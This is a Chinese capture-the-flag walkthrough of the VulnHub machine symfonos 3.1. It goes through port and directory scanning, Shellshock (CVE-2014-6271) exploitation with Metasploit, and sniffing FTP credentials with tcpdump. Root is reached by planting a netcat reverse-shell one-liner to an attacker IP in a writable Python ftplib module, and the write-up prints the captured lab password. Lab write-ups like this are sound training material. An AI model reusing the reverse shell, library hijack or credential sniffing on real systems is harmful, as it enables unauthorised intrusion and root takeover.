标签:shellshock破壳、CVE-2014-6271、嗅探ftp数据包、python提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/symfonos-31,332/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:
Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you're welcome to contact me via Twitter @zayotic
## Changelog v3.1 - 2020-04-07 v3.0 - 2019-07-20
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
靶机地址是192.168.1.43
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.1.43
看一下80端口
就是一张图片,由于这次没有smb服务了,再看看80端口上还有没有其他信息。
按F12看一下源码
发现有一句注释,翻译过来大概是“你能破获地下世界吗?”。感觉是要扫描目录。
3.目录扫描
先用dirb扫描一下,命令:dirb http://192.168.1.43
发现了一些目录,访问一下看看,发现http://192.168.1.43/gate/
可以正常访问
再爆破一下gate下的目录,但是没有爆破出来什么。
尝试使用dirbuster工具进行爆破
扫描出一堆/cdi-bin/
下的目录
打开几个看一下
发现打开的几个页面都是这样的,只是时间不同。这个像是uptime
命令的输出结果。
去看了一下表哥的文章,发现这里存在shellshock漏洞。
0x02 shellshock漏洞getshell
CVE编号:CVE-2014-6271
漏洞成因:
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
影响版本:
关于该漏洞的其他详细信息可看https://www.freebuf.com/articles/system/45390.html
在msf中找找看有没有利用工具。
打开msf,查找shellshock利用模块,命令:search shellshock
由于靶机使用的是apache,这里选择使用exploit/multi/http/apache_mod_cgi_bash_env_exec模块,命令:use exploit/multi/http/apache_mod_cgi_bash_env_exec
设置参数:
利用成功:
0x03 嗅探ftp数据包
这个靶机的提权有点CTF的味道,我参考的表哥的文章进行提权。以下内容都是参考表哥的文章。
下载pspy工具https://github.com/DominicBreuker/pspy,进行嗅探。
pspy是一种命令行工具,旨在无需root权限即可监听进程。它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。
使用python切换到shell环境,输入uname -a
查看机器是64位的,那就下载64位的pspy
切换到/tmp目录进行下载,命令:wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
然后给pspy64执行权限chmod 777 pspy64
,输入命令:./pspy64 -pf -c -i 1000
在这里发现ftpclient.py正在运行,而且UID=0,说明正在以root的身份运行
ftp协议是明文传输的,如果能抓到ftp的包,那就可以得到账号密码了。那么使用什么工具抓包呢?比较常用的是tcpdump,查看靶机上是否安装了tcpdump,命令:tcpdump --version
靶机上已经安装了tcpdump,那就使用它来抓包。
查看靶机上有哪些网络接口
tcpdump一般抓取loopback状态的接口,这里抓取lo接口,命令:tcpdump -i lo -w ftp.pcap
将ftp.pcap下载到kali上使用wireshark进行分析。
在靶机上开启临时http服务
在kali上下载
使用wirewhark打开,输入tcp.port==21
筛选,在下面符合条件的数据包中找一条,右键“追踪流”
然后就能看到账号密码了。
账号密码:hades \ PTpZTfU4vxgzvRBE
0x04 提权
使用刚才拿到的ftp账号尝试登录ssh,
登录成功
刚才使用pspy工具的时候发现,ftpclient.py是以root身份运行的,如果hades用户具有对ftpclient.py脚本的写入权限,那么就可以提权。
很遗憾hades用户组只有读权限没有写权限,看一下ftpclient.py的代码吧
使用命令查找一下hades对哪些文件有写权限吧,命令:find / -writable -type d 2>/dev/null
诶,在里面发现我们对python2.7目录下的文件有写权限。刚才我们查看了ftpclient.py文件,其中会import ftplib
模块,如果我们可以修改ftplib模块,在ftpclien.py文件运行的时候,就会执行我们修改后的代码,那么就可以反弹shell了。
使用nano工具进行编辑,命令:nano ftplib.py
将反弹shell语句插入进去,语句:import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.xxx.xxxx 7777 >/tmp/f')
然后保存退出
在kali上监听7777端口,等待反弹
大约等了2分钟,接收到了,身份是root
flag在/root目录下
0x05 小结
靶机从破壳漏洞开始,使用msf拿到shell,之后使用pspy工具发现ftp软件正在运行,由于ftp是明文传输的,所以在ftp的数据包中可以看到账号密码,然后使用tcpdump工具抓包,发现了ftp的账号密码。巧合的是SSH服务使用的账号密码和FTP服务是同一个,所以可以使用FTP服务登录SSH服务,之后通过向ftplib.py文件中追加命令进行提权。
由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”
参考链接:
1.vulnhub - /symfonos-3 (考点:shellshock & tcpdump /cap & linux修改py提权)
2.『VulnHub系列』symfonos: 3-Walkthrough
3.tcpdump抓包使用小结
4.破壳(ShellShock)漏洞样本分析报告
5.CVE-2014-6271破壳(shellshock)漏洞复现记录
6.https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html